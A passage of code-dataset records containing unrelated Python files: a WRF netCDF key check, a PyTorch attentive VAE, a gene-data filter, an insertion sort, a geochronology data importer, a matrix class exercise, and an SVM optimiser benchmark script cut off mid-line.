'XLAT', 'ACGRDFLX', 'RAINSH', 'ALBBCK', 'VAR',\n 'MAPFAC_V', 'MAPFAC_MX', 'V10', 'RAINNC', 'CLDFRA', 'SWNORM', 'ZS', 'TISO', 'QVAPOR', 'XLONG_V',\n 'SSTSK', 'MAPFAC_UX', 'MAPFAC_M', 'QNICE', 'TSLB', 'DN', 'COSALPHA', 'CFN', 'TSK_FORCE_TEND', 'QICE',\n 'QGRAUP', 'NEST_POS', 'EMISS', 'MAX_MSTFX', 'CF1', 'MAPFAC_MY', 'ZNW', 'ACSNOM', 'MAPFAC_VX', 'CF3',\n 'IVGTYP', 'XLAT_U', 'QNRAIN', 'XLAND', 'PSFC', 'MUB', 'DZS', 'ZETATOP', 'VAR_SSO', 'LH_FORCE_TEND',\n 'MAPFAC_VY', 'CF2', 'RAINC', 'SAVE_TOPO_FROM_REAL', 'MAPFAC_U', 'V', 'SNOWNC', 'P00', 'T', 'SR',\n 'TH2', 'XLONG', 'TLP', 'RDN', 'CANWAT', 'PHB', 'F', 'SINALPHA', 'T00', 'Times', 'GLW', 'CLAT', 'FNM'}\n # size: 139\n\n A_set = {}\n B_set = {}\n src_file_path = '../data/2016100100/wrfout_d02_2016-10-01_00:00:00-box'\n with Dataset(src_file_path) as nc:\n A_set = set(nc.variables.keys())\n\n src_file_path = '../data/2019031421/wrfout_d02_2019-03-14_23_00_00-box'\n with Dataset(src_file_path) as nc:\n B_set = set(nc.variables.keys())\n\n intersection = A_set & B_set\n print(len(intersection))\n print(intersection)\n intersection = set(useful_keys) - intersection\n print(intersection)\n","sub_path":"utils/FindUsefulKeys.py","file_name":"FindUsefulKeys.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"607528457","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nfrom convgru import ConvGRUCell\nfrom gen_models import make_conv_net, make_fc_net, make_upconv_net\n\nimport rlkit.torch.pytorch_util as ptu\n\nimport numpy as np\nfrom numpy import pi\nfrom numpy import log as np_log\nlog_2pi = np_log(2*pi)\n\nLOG_COV_MAX = 2\nLOG_COV_MIN = -5\n\nclass AttentiveVAE(nn.Module):\n def __init__(\n self,\n maze_dims,\n z_dim,\n x_encoder_specs,\n z_seg_conv_specs,\n z_seg_fc_specs,\n z_obj_conv_specs,\n z_obj_fc_specs,\n z_seg_recon_fc_specs,\n z_seg_recon_upconv_specs,\n z_obj_recon_fc_specs,\n z_obj_recon_upconv_specs,\n recon_upconv_part_specs\n ):\n super().__init__()\n\n in_ch = maze_dims[0]\n in_h = maze_dims[1]\n self.x_encoder, x_enc_ch, x_enc_h = make_conv_net(in_ch, in_h, x_encoder_specs)\n self.x_enc_ch = x_enc_ch\n self.x_enc_h = x_enc_h\n flat_inter_img_dim = x_enc_ch * x_enc_h * x_enc_h\n\n # self.convgru = ConvGRUCell(x_enc_ch, gru_specs['channels'], gru_specs['kernel_size'])\n # self.gru_ch = gru_specs['channels']\n\n self.z_seg_conv_seq, out_ch, out_h = make_conv_net(x_enc_ch+1, x_enc_h, z_seg_conv_specs)\n self.z_seg_fc_seq, out_h = make_fc_net(out_ch*out_h*out_h, z_seg_fc_specs)\n self.z_seg_mean_fc = nn.Linear(out_h, z_dim, bias=True)\n self.z_seg_log_cov_fc = nn.Linear(out_h, z_dim, bias=True)\n\n # self.z_obj_conv_seq, z_conv_ch, z_conv_h = make_conv_net(x_enc_ch, x_enc_h, z_obj_conv_specs)\n # flat_dim = z_conv_ch*z_conv_h*z_conv_h\n # self.z_conv_ch, self.z_conv_h = z_conv_ch, z_conv_h\n self.z_obj_fc_seq, out_h = make_fc_net(flat_inter_img_dim, z_obj_fc_specs)\n self.z_obj_mean_fc = nn.Linear(out_h, z_dim, bias=True)\n self.z_obj_log_cov_fc = nn.Linear(out_h, z_dim, bias=True)\n \n self.z_seg_mask_fc_seq, out_h = make_fc_net(z_dim, z_seg_recon_fc_specs)\n # print(out_h)\n # print(z_conv_ch, z_conv_h)\n # assert out_h == z_conv_h*z_conv_h*z_conv_ch\n self.z_seg_mask_upconv_seq, out_ch, out_h = make_upconv_net(x_enc_ch, x_enc_h, z_seg_recon_upconv_specs)\n self.z_seg_mask_conv = nn.Conv2d(out_ch, 1, 3, stride=1, padding=1, bias=True)\n print(out_h)\n\n self.z_obj_recon_fc_seq, z_recon_dim = make_fc_net(z_dim, z_obj_recon_fc_specs)\n # self.z_obj_recon_upconv_seq, out_ch, out_h = make_upconv_net(z_conv_ch, z_conv_h, z_obj_recon_upconv_specs)\n self.recon_upconv_seq, out_ch, out_h = make_upconv_net(x_enc_ch, x_enc_h, recon_upconv_part_specs)\n print(out_h)\n self.recon_mean_conv = nn.Conv2d(out_ch, 1, 1, stride=1, padding=0, bias=True)\n self.recon_log_cov_conv = nn.Conv2d(out_ch, 1, 1, stride=1, padding=0, bias=True)\n assert out_h == maze_dims[1], str(out_h) + ' != ' + str(maze_dims[1])\n\n\n def forward(self, img_batch, num_batch):\n num_objs = 2\n\n enc = self.x_encoder(img_batch)\n enc_mask_aggregate = torch.zeros(enc.size(0), 1, enc.size(2), enc.size(3)).type_as(enc)\n \n # prev_h = Variable(torch.zeros(enc.size(0), self.gru_ch, enc.size(2), enc.size(3)))\n # if ptu.gpu_enabled():\n # prev_h = prev_h.cuda()\n \n inter_recon_tensor = 0.\n obj_means = []\n obj_log_covs = []\n seg_means = []\n seg_log_covs = []\n masks = []\n for i in range(num_objs):\n # infer\n hidden = torch.cat([enc, enc_mask_aggregate], 1)\n # hidden = enc * (1. - enc_mask_aggregate)\n # prev_h = self.convgru(hidden, prev_h)\n\n hidden = self.z_seg_conv_seq(hidden)\n hidden = hidden.view(hidden.size(0), -1)\n hidden = self.z_seg_fc_seq(hidden)\n z_seg_mean = self.z_seg_mean_fc(hidden)\n z_seg_log_cov = self.z_seg_log_cov_fc(hidden)\n\n z_seg_sample = z_seg_mean\n hidden = self.z_seg_mask_fc_seq(z_seg_sample)\n hidden = hidden.view(hidden.size(0), self.x_enc_ch, self.x_enc_h, self.x_enc_h)\n mask = self.z_seg_mask_upconv_seq(hidden)\n mask = self.z_seg_mask_conv(hidden)\n mask = torch.sigmoid(mask)\n\n hidden = mask*enc\n # hidden = self.z_obj_conv_seq(hidden)\n hidden = hidden.view(hidden.size(0), -1)\n hidden = self.z_obj_fc_seq(hidden)\n z_obj_mean = self.z_obj_mean_fc(hidden)\n z_obj_log_cov = self.z_obj_log_cov_fc(hidden)\n \n z_obj_sample = z_obj_mean\n hidden = self.z_obj_recon_fc_seq(z_obj_sample)\n hidden = hidden.view(hidden.size(0), self.x_enc_ch, self.x_enc_h, self.x_enc_h)\n # hidden = self.z_obj_recon_upconv_seq(hidden)\n hidden = hidden * mask\n inter_recon_tensor = inter_recon_tensor + num_batch[:,i]*hidden\n\n enc_mask_aggregate = torch.max(enc_mask_aggregate, mask)\n\n obj_means.append(z_obj_mean)\n obj_log_covs.append(z_obj_log_cov)\n seg_means.append(z_seg_mean)\n seg_log_covs.append(z_seg_log_cov)\n masks.append(mask)\n \n # recon\n hidden = self.recon_upconv_seq(inter_recon_tensor)\n recon_mean = self.recon_mean_conv(hidden)\n recon_mean = torch.sigmoid(recon_mean)\n recon_log_cov = self.recon_log_cov_conv(hidden)\n\n return obj_means, obj_log_covs, seg_means, seg_log_covs, masks, recon_mean, recon_log_cov\n \n\n def compute_KL(self, post_mean, post_log_cov):\n return -0.5 * torch.sum(\n 1 + post_log_cov - post_mean**2 - torch.exp(post_log_cov)\n )\n\n\n def compute_ELBO(\n self,\n post_mean_list, post_log_cov_list,\n recon_mean, recon_log_cov,\n obs_batch,\n average_over_batch=True\n ):\n KL = 0.\n for mean, log_cov in zip(post_mean_list, post_log_cov_list):\n KL = KL + self.compute_KL(mean, log_cov)\n \n recon_mean = recon_mean.view(recon_mean.size(0), -1)\n recon_log_cov = recon_log_cov.view(recon_log_cov.size(0), -1)\n obs_batch = obs_batch.view(obs_batch.size(0), -1)\n recon_cov = torch.exp(recon_log_cov)\n\n # log_prob = -0.5 * torch.sum(\n # (recon_mean - obs_batch)**2 / recon_cov\n # )\n # log_det_temp = torch.sum(recon_log_cov, 1) + log_2pi\n # log_prob += -0.5 * torch.sum(log_det_temp)\n\n log_prob = -0.5 * torch.sum((recon_mean - obs_batch)**2)\n\n elbo = log_prob - 0.1 * KL\n if average_over_batch: elbo = elbo / float(obs_batch.size(0))\n\n return elbo, KL\n","sub_path":"gen_models/attentive_vae.py","file_name":"attentive_vae.py","file_ext":"py","file_size_in_byte":6727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"22910918","text":"import sys\n\nmim_with_number_signs = '/cluster/u/ayang/FreeTextAssoc/res/map/OMIM_mim_title_pairs_number_signs_only.map'\nwith open(mim_with_number_signs) as f:\n\tvalid_mims = set(line.split('\\t')[0] for line in f)\n\nwith open(sys.argv[1]) as vcf:\n\tfor line in vcf:\n\t\tmim = line.strip().split('\\t')[-1].split(';')[-1][5:]\n\t\tif mim in valid_mims:\n\t\t\tprint(line.strip())","sub_path":"onto/hgmd/MatchOMIM/filter_hgmd_with_omim_2_number_signs.py","file_name":"filter_hgmd_with_omim_2_number_signs.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"631328786","text":"# -*- coding: UTF-8 -*-\n\ndef insertSort(arr):\n \"\"\"\n :param arr:接收一个列表作为变量,并对其进行排序\n :return: 无返回值\n 思想:\n 1. 默认第一个数为有序的\n 2. 从第二个数将其插入到有序数组中的恰当位置\n \"\"\"\n n = len(arr)\n for i in range(1,n): # 默认第一个数有序,从第二个数开始遍历整个数组\n \n if arr[i] <= arr[i-1]: # 如果未排序中第一个数比已排序最后一个数小,才需要将其排序\n tmp = arr[i]\n j = i-1\n while j>=0 and tmp < arr[j]: # 从已排序最后往前遍历到0为止,如果d大于tmp则后移\n arr[j+1] = arr[j]\n j -= 1\n arr[j+1] = tmp # 跳出循环则说明arr[j] >= tmp,则只需将tmp放在j的后面位置,即j+1处\n","sub_path":"Sorting/insertSort.py","file_name":"insertSort.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"615042325","text":"from rich import print\nfrom click import secho\nfrom sparrow.import_helpers import BaseImporter\nfrom sparrow.util import relative_path\nfrom sparrow.import_helpers.util import ensure_sequence\nfrom yaml import load\nfrom pandas import read_excel\nfrom re import compile\nfrom IPython import embed\nimport numpy as N\n\ndef split_unit(name):\n \"\"\"Split units (in parentheses) from the rest of the data.\"\"\"\n unit_regex = compile(r\"^(.+)\\s\\(([a-zA-Z/\\%]+)\\)$\")\n res = unit_regex.match(name)\n g = res.groups()\n (param, unit) = g\n return param, unit\n\n\ndef get_first(ls, n):\n \"\"\"Get first n items of a list\"\"\"\n items = ls[0:n]\n ls = ls[n:]\n return items\n\n\ndef split_attributes(vals):\n \"\"\"Split data from attributes\"\"\"\n data = []\n attributes = []\n for v in vals:\n try:\n num = float(v[\"value\"])\n data.append(v)\n except ValueError:\n attributes.append(v)\n return data, attributes\n\n\ndatum_type_fields = [\n \"parameter\",\n \"unit\",\n \"error_unit\",\n \"error_metric\",\n \"is_computed\",\n \"is_interpreted\",\n \"description\",\n]\nattribute_fields = [\"parameter\", \"value\"]\n\n\ndef create_datum(val):\n v = val.pop(\"value\")\n err = val.pop(\"error\", None)\n\n type = {k: v for k, v in val.items() if k in datum_type_fields}\n\n return {\"value\": v, \"error\": err, \"type\": type}\n\n\ndef create_attribute(val):\n return {k: v for k, v in val.items() if k in attribute_fields}\n\n\ndef create_analysis(type, vals, **kwargs):\n data, attributes = split_attributes(vals)\n return dict(\n analysis_type=type,\n datum=[create_datum(d) for d in data if d is not None],\n attribute=[create_attribute(d) for d in attributes],\n **kwargs,\n )\n\n\nclass TRaILImporter(BaseImporter):\n def __init__(self, db, data_dir, **kwargs):\n super().__init__(db)\n metadata_file = data_dir / \"Data_Reduction_Sheet.xlsx\"\n self.image_folder = data_dir / \"Photographs and Measurement Data\"\n\n self.verbose = kwargs.pop(\"verbose\", False)\n\n spec = relative_path(__file__, \"column-spec.yaml\")\n with open(spec) as f:\n self.column_spec = load(f)\n\n self.iterfiles([metadata_file], **kwargs)\n\n def import_datafile(self, fn, rec, **kwargs):\n \"\"\"\n Import an original data file\n \"\"\"\n df = read_excel(fn, sheet_name=\"Complete Summary Table\")\n assert len(self.column_spec) == len(df.columns)\n\n yield from self.import_projects(df)\n\n def split_grain_information(self, df):\n # We banish underscores from sample names entirely to split.\n # Only dashes. This simplifies our life tremendously.\n df[[\"sample_name\", \"-\", \"grain\"]] = df[\"Full Sample Name\"].str.replace(\"_\",\"-\").str.rpartition(\"-\")\n # Go back to previous separators\n df[\"sample_name\"] = df.apply(lambda row: row[\"Full Sample Name\"][0:len(row[\"sample_name\"])], axis=1)\n df.drop(columns=[\"-\"], inplace=True) # don't need it\n\n # Find the number of grains per sample\n n_grains = df.pivot_table(index=['sample_name'], aggfunc='size')\n singles = df.sample_name.isin(n_grains[n_grains == 1].index)\n df.loc[singles, \"sample_name\"] = df.loc[singles,\"Full Sample Name\"]\n df.loc[singles, \"grain\"] = N.nan\n\n return df\n\n def import_projects(self, df):\n\n for name, gp in df.groupby(\"Owner\"):\n gp = self.split_grain_information(gp)\n nsamples = len(gp)\n project_name = f\"{name} – {nsamples} samples\"\n\n project = {\"name\": project_name}\n\n for ix, row in gp.iterrows():\n # If more than 80% of columns are empty, we assume we have an\n # empty row and don't import\n if sum(row.isnull()) > len(df.columns) * 0.8:\n continue\n yield self.import_row(project, row)\n\n def _build_specs(self, row):\n \"\"\"Test each value for basic conformance with the column specs in\n `column-spec.yaml` and return the spec and column info.\n \"\"\"\n for i, (spec, (key, value)) in enumerate(zip(self.column_spec, row.items())):\n # Convert shorthand spec to dict\n if isinstance(spec, str):\n header = spec\n spec = {\"header\": spec}\n header = spec.pop(\"header\", None)\n\n # Expand ± shorthand\n if header == \"±\":\n header = None\n spec[\"error_for\"] = spec.pop(\"error_for\", i - 1)\n spec[\"error_metric\"] = spec.pop(\n \"error_metric\", \"1s analytical uncertainty\"\n )\n\n # See if we should skip importing the column\n if spec.get(\"skip\", False):\n continue\n\n if header is not None:\n try:\n assert header == key\n except AssertionError:\n secho(f\"Header {header} does not match {key}\")\n else:\n header = key\n\n spec[\"index\"] = i\n\n # Try to split units from column headers\n unit = None\n try:\n param, unit = split_unit(header)\n except (AttributeError, KeyError):\n param = header\n if \"parameter\" not in spec:\n spec[\"parameter\"] = param\n if \"unit\" not in spec:\n spec[\"unit\"] = unit\n\n yield spec, value\n\n def _apply_errors(self, specs):\n \"\"\"Get values for columns that contain only errors and apply them to\n the appropriate data columns.\"\"\"\n datum_ix = {}\n rest = []\n for spec, value in specs:\n error_for = spec.get(\"error_for\", None)\n if error_for is None:\n rest.append((spec, value))\n continue\n # We could have multiple destinations for a single\n # error (though unlikely)\n for err_dest in ensure_sequence(error_for):\n datum_ix[err_dest] = (spec, value)\n\n for spec, value in rest:\n error = None\n error_value = datum_ix.get(spec[\"index\"], None)\n if error_value is not None:\n (err_spec, error) = error_value\n # Set error unit given units of both error and value column\n spec[\"error_unit\"] = err_spec.get(\"unit\", spec.get(\"unit\", None))\n\n yield spec, value, error\n\n def itervalues(self, row):\n specs = self._build_specs(row)\n specs_with_errors = self._apply_errors(specs)\n for spec, value, error in specs_with_errors:\n vals = spec.get(\"values\", None)\n try:\n spec[\"value\"] = vals[value]\n except (IndexError, TypeError):\n spec[\"value\"] = value\n\n del spec[\"index\"]\n if error is not None:\n spec[\"error\"] = error\n yield spec\n\n def link_image_files(self, row, session):\n if row[\"grain\"] is None:\n return\n sample = row[\"Full Sample Name\"]\n grain_images = list(self.image_folder.glob(sample+'*.tif'))\n\n for f in grain_images:\n rec, added = self._create_data_file_record(f)\n model = {\n \"data_file\": rec.uuid,\n \"session\": session.id\n }\n self.db.load_data(\"data_file_link\", model)\n\n\n def import_row(self, project, row):\n parent_sample = {\n \"project\": [project],\n \"name\": row[\"sample_name\"],\n \"material\": \"rock\", \n }\n\n if row[\"grain\"] is None:\n self.db.load_data(\"sample\", parent_sample)\n return\n\n # Get a semi-cleaned set of values for each row\n cleaned_data = list(self.itervalues(row))\n\n [researcher, sample] = cleaned_data[0:2]\n\n shape_data = cleaned_data[2:11]\n noble_gas_data = cleaned_data[11:12]\n icp_ms_data = cleaned_data[12:15]\n calculated_data = cleaned_data[15:22]\n raw_date = cleaned_data[22:24]\n corr_date = cleaned_data[24:27]\n\n # for spec in sample_data:\n # pp.pprint(spec)\n grain_note = cleaned_data[27:]\n shape_data += grain_note\n\n material = shape_data.pop(-4)\n\n # We should figure out how to not require meaningless dates\n meaningless_date = \"1900-01-01 00:00:00+00\"\n\n sample = {\n \"member_of\": parent_sample,\n \"name\": row[\"Full Sample Name\"],\n \"material\": str(material[\"value\"]), \n \"session\": [\n {\n \"technique\": {\"id\": \"Grain quality inspection\"},\n \"instrument\": {\"name\": \"Leica microscope\"},\n \"date\": meaningless_date, \n \"analysis\": [\n create_analysis(\"Grain shape\", shape_data)\n ]\n },\n {\n \"technique\": {\"id\": \"Noble-gas mass spectrometry\"},\n \"instrument\": {\"name\": \"ASI Alphachron → Pfeiffer Balzers QMS\"},\n \"date\": meaningless_date,\n \"analysis\": [\n create_analysis(\"Noble gas measurements\", noble_gas_data)\n ]\n },\n {\n \"technique\": \"Trace element measurement\",\n \"instrument\": {\"name\": \"Agilent 7900 Quadrupole ICP-MS\"},\n \"date\": meaningless_date,\n \"analysis\": [\n create_analysis(\"Element data\", icp_ms_data)\n ]\n },\n {\n # Ideally we'd provide a date but we don't really have one\n \"technique\": {\"id\": \"(U+Th)/He age estimation\"},\n \"date\": meaningless_date,\n \"analysis\": [\n create_analysis(\"Derived parameters\", calculated_data),\n create_analysis(\"Raw date\", raw_date),\n create_analysis(\"Corrected date\", corr_date)\n ],\n }\n ]\n }\n\n print(sample)\n res = self.db.load_data(\"sample\", sample)\n\n self.link_image_files(row, res.session_collection[0])\n\n print(\"\")\n return res\n","sub_path":"plugins/import_reduction_sheet/importer.py","file_name":"importer.py","file_ext":"py","file_size_in_byte":10361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"409900607","text":"# Реализовать класс Matrix (матрица). Обеспечить перегрузку конструктора класса (метод init()),\n# который должен принимать данные (список списков) для формирования матрицы.\n\n# Следующий шаг — реализовать перегрузку метода str() для вывода матрицы в привычном виде.\n# Далее реализовать перегрузку метода add() для реализации операции сложения двух объектов класса Matrix (двух матриц).\n# Результатом сложения должна быть новая матрица.\n\nclass Matrix:\n def __init__(self, matrix_data):\n self.matrix_data = matrix_data\n\n def __add__(self, matrix_operand):\n sum_matrix = [[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]]\n for i in range(len(self.matrix_data)):\n\n for j in range(len(matrix_operand.matrix_data[i])):\n sum_matrix[i][j] = self.matrix_data[i][j] + matrix_operand.matrix_data[i][j]\n\n return str('\\n'.join(['\\t'.join([str(j) for j in i]) for i in sum_matrix]))\n\n def __str__(self):\n return str('\\n'.join(['\\t'.join([str(j) for j in i]) for i in self.matrix_data]))\n\n\n# Script body\nfirst_matrix = Matrix([[8, 1, 1],\n [8, 7, 3],\n [4, 2, 0]])\n\nsecond_matrix = Matrix([[5, 2, 8],\n [9, 1, 3],\n [1, 0, 3]])\n\nprint(f\"first_matrix:\\n{first_matrix}\")\nprint(f\"second_matrix:\\n{second_matrix}\")\n\nprint(f\"Sum of matrix:\\n{first_matrix + second_matrix}\")\n","sub_path":"Lesson_07/Task_01.py","file_name":"Task_01.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"586622598","text":"import sys\nimport os\nimport socket\nHOME=os.environ['HOME']\nsys.path.insert(1,HOME+'/github/StreamingSVM')\nfrom experiment import BenchmarkSGDAdam\nfrom experiment import BenchmarkPegasosSvm\nfrom experiment import BenchmarkSGDAda\nfrom experiment import BenchmarkSGDRMSProp\nfrom experiment import BenchmarkSGDMomentum\nfrom experiment import BenchmarkSgdSvm\nfrom operations import Print\nfrom operations import LoadLibsvm\nimport numpy as np\nimport datetime\n\n### Non Bulk Data\n\n### loading data\n\ndef load_training_data(training_file, split=False):\n x_training = []\n y_training = []\n training_filepath = training_file\n\n if not split:\n training_loader = LoadLibsvm.LoadLibSVM(filename=training_filepath, n_features=features)\n x_training, y_training = training_loader.load_all_data()\n\n print(\"Training data loaded ...\")\n return x_training, y_training\n\n\ndef load_random_test_data(testing_filepath):\n print(\"Loading Bulk Testing Files\")\n files = os.listdir(testing_filepath)\n print(\"File Path : \" + testing_filepath)\n print(files)\n bulk_testing_x = []\n bulk_testing_y = []\n file_size = len(files)\n random_id = np.random.randint(0,file_size)\n print(\"Loading Testing Bulk File : \" + files[random_id])\n testing_loader = LoadLibsvm.LoadLibSVM(filename=testing_filepath + \"/\" + files[random_id],\n n_features=1)\n x_testing, y_testing = testing_loader.load_all_data()\n return x_testing, y_testing\n\n\n\ndatasets = [ 'rcv1']\nfeatures = [47236]\nsplits = [False, False]\n\nfor dataset, feature, split in zip(datasets, features, splits):\n\n base_path = ''\n hostname = socket.gethostname()\n\n if hostname == 'vibhatha-ThinkPad-P50':\n base_path = '/home/vibhatha/data/svm/'\n else:\n base_path = '/N/u/vlabeyko/data/svm/svm/'\n\n bulk = False\n dataset = dataset\n training_file = base_path + dataset + '/training.csv'\n testing_file = base_path + dataset + '/bulk'\n features = feature\n alpha = 1\n epochs = 200\n ld = 1\n eta = 0.1\n labelfix = False\n split = split\n randomize = True\n gamma = 1\n degree = 1\n kernel = 'rbf'\n minibatch_size = 1000\n minibatch = True\n C=1\n exp_name = dataset\n repetitions = range(0,10)\n tolerance = 0.000001\n bmsvmsgd = BenchmarkSgdSvm.BenchmarkSgdSVM(exp_name=exp_name, training_file=training_file,\n testing_file=testing_file,\n alpha=alpha, features=features, epochs=epochs,\n labelfix=labelfix, randomize=randomize, split=split,\n auto=True)\n bmsvmsgdmomentum = BenchmarkSGDMomentum.BenchmarkSGDMomentum(exp_name=exp_name,\n training_file=training_file,\n testing_file=testing_file,\n alpha=alpha, C=C, gamma=gamma,\n features=features, epochs=epochs,\n labelfix=labelfix,\n randomize=randomize, split=split)\n\n bmsvmsgdada = BenchmarkSGDAda.BenchmarkSGDAda(exp_name=exp_name, training_file=training_file,\n testing_file=testing_file,\n alpha=alpha, features=features, epochs=epochs, labelfix=labelfix,\n randomize=randomize, split=split, auto=True, bulk=bulk)\n\n bmsvmsgdrmsprop = BenchmarkSGDRMSProp.BenchmarkSGDRMSProp(exp_name=exp_name, training_file=training_file,\n testing_file=testing_file,\n alpha=alpha, features=features, epochs=epochs, labelfix=labelfix,\n randomize=randomize, split=split, auto=True, bulk=bulk)\n\n bmsvmsgdadam = BenchmarkSGDAdam.BenchmarkSGDAdam(exp_name=exp_name, training_file=training_file,\n testing_file=testing_file,\n alpha=alpha, features=features, epochs=epochs, labelfix=labelfix,\n randomize=randomize, split=split, auto=True, bulk=bulk)\n\n\n\n x_training, y_training = load_training_data(training_file=training_file, split=split)\n x_testing, y_testing = load_random_test_data(testing_filepath=testing_file)\n w_init = np.random.uniform(0, 1, features)\n m = len(x_training)\n indices_init = np.random.choice(m, m, replace=False)\n for repition in repetitions:\n now = datetime.datetime.now()\n prefix = str(now.date())+\"_\"+str(now.time())\n ########################################LOGS###########################################\n ## SGD Logs\n log_file_sgd= \"logs/benchmark/epochlog/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(repition) + \"_sgd_epoch_results.txt\"\n init_weight_file_sgd = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(repition) + \"_init_sgd_weights.txt\"\n final_weight_file_sgd = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(repition) + \"_final_sgd_weights.txt\"\n ## Momentum Logs\n #######################################################################################\n log_file_mom = \"logs/benchmark/epochlog/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_momentum_epoch_results.txt\"\n init_weight_file_mom = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_init_momentum_weights.txt\"\n final_weight_file_mom = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_final_momentum_weights.txt\"\n ## Ada Logs\n #######################################################################################\n log_file_ada = \"logs/benchmark/epochlog/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_ada_epoch_results.txt\"\n init_weight_file_ada = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_init_ada_weights.txt\"\n final_weight_file_ada = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_final_ada_weights.txt\"\n\n ## RMSProp Logs\n #######################################################################################\n log_file_rmsprop = \"logs/benchmark/epochlog/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_rmsprop_epoch_results.txt\"\n init_weight_file_rmsprop = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_init_rmsprop_weights.txt\"\n final_weight_file_rmsprop = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_final_rmsprop_weights.txt\"\n\n ## Adam Logs\n #######################################################################################\n log_file_adam = \"logs/benchmark/epochlog/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_adam_epoch_results.txt\"\n init_weight_file_adam = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_init_adam_weights.txt\"\n final_weight_file_adam = \"weights/benchmark/\" + socket.gethostname() + \"_\" + exp_name + \"_\" + prefix + \"_\" + str(\n repition) + \"_final_adam_weights.txt\"\n\n ####################################### Training #######################################\n\n ################ SGD #################\n w_final_sgd, epochs_eff_sgd, initial_cost_sgd, final_cost_sgd, overall_training_time_sgd = bmsvmsgd.train_benchmark_heavy(x_train=x_training, y_train=y_training, x_test=x_testing, y_test=y_testing, w_init=w_init, log_file=log_file_sgd, tolerance=tolerance, indices_init=indices_init)\n ####################################\n\n ############### Momentum #############\n w_final_mom, epochs_eff_mom, initial_cost_mom, final_cost_mom, overall_training_time_mom = bmsvmsgdmomentum.train_benchmark_heavy(\n x_train=x_training, y_train=y_training, x_test=x_testing, y_test=y_testing, w_init=w_init,\n log_file=log_file_mom, tolerance=tolerance, indices_init=indices_init)\n\n ############### ADA ###################\n w_final_ada, epochs_eff_ada, initial_cost_ada, final_cost_ada, overall_training_time_ada = bmsvmsgdada.train_benchmark_heavy(\n x_train=x_training, y_train=y_training, x_test=x_testing, y_test=y_testing, w_init=w_init,\n log_file=log_file_ada, tolerance=tolerance, indices_init=indices_init)\n\n ############### RMSPROP ###################\n w_final_rmsprop, epochs_eff_rmsprop, initial_cost_rmsprop, final_cost_rmsprop, overall_training_time_rmsprop = bmsvmsgdrmsprop.train_benchmark_heavy(\n x_train=x_training, y_train=y_training, x_test=x_testing, y_test=y_testing, w_init=w_init,\n log_file=log_file_rmsprop, tolerance=tolerance, indices_init=indices_init)\n\n w_final_adam, epochs_eff_adam, initial_cost_adam, final_cost_adam, overall_training_time_adam = bmsvmsgdadam.train_benchmark_heavy(\n x_train=x_training, y_train=y_training, x_test=x_testing, y_test=y_testing, w_init=w_init,\n log_file=log_file_adam, tolerance=tolerance, indices_init=indices_init)\n\n\n\n ## save weight vectors\n if repition == 0:\n np.savetxt(init_weight_file_sgd, w_init)\n np.savetxt(init_weight_file_mom, w_init)\n np.savetxt(init_weight_file_ada, w_init)\n np.savetxt(init_weight_file_rmsprop, w_init)\n np.savetxt(init_weight_file_adam, w_init)\n np.savetxt(final_weight_file_sgd, w_final_sgd)\n np.savetxt(final_weight_file_mom, w_final_mom)\n np.savetxt(final_weight_file_ada, w_final_ada)\n np.savetxt(final_weight_file_rmsprop, w_final_rmsprop)\n np.savetxt(final_weight_file_adam, w_final_adam)\n\n ## testing\n ## iterate through all the test samples.\n overall_accuracy_sgd = 0\n overall_accuracy_mom = 0\n overall_accuracy_ada = 0\n overall_accuracy_rmsprop = 0\n overall_accuracy_adam = 0\n files = os.listdir(testing_file)\n print(\"File Path : \" + testing_file)\n print(files)\n bulk_testing_x = []\n bulk_testing_y = []\n file_size = len(files)\n random_id = np.random.randint(0, file_size)\n print(\"Loading Testing Bulk File : \" + files[random_id])\n for file in files:\n testing_loader = LoadLibsvm.LoadLibSVM(filename=testing_file + \"/\" + file,\n n_features=1)\n x_testing, y_testing = testing_loader.load_all_data()\n overall_accuracy_sgd += bmsvmsgd.advanced_test(x_testing=x_testing, y_testing=y_testing, w=w_final_sgd)\n overall_accuracy_mom += bmsvmsgdmomentum.advanced_test(x_testing=x_testing, y_testing=y_testing, w=w_final_mom)\n overall_accuracy_ada += bmsvmsgdada.advanced_test(x_testing=x_testing, y_testing=y_testing, w=w_final_ada)\n overall_accuracy_rmsprop += 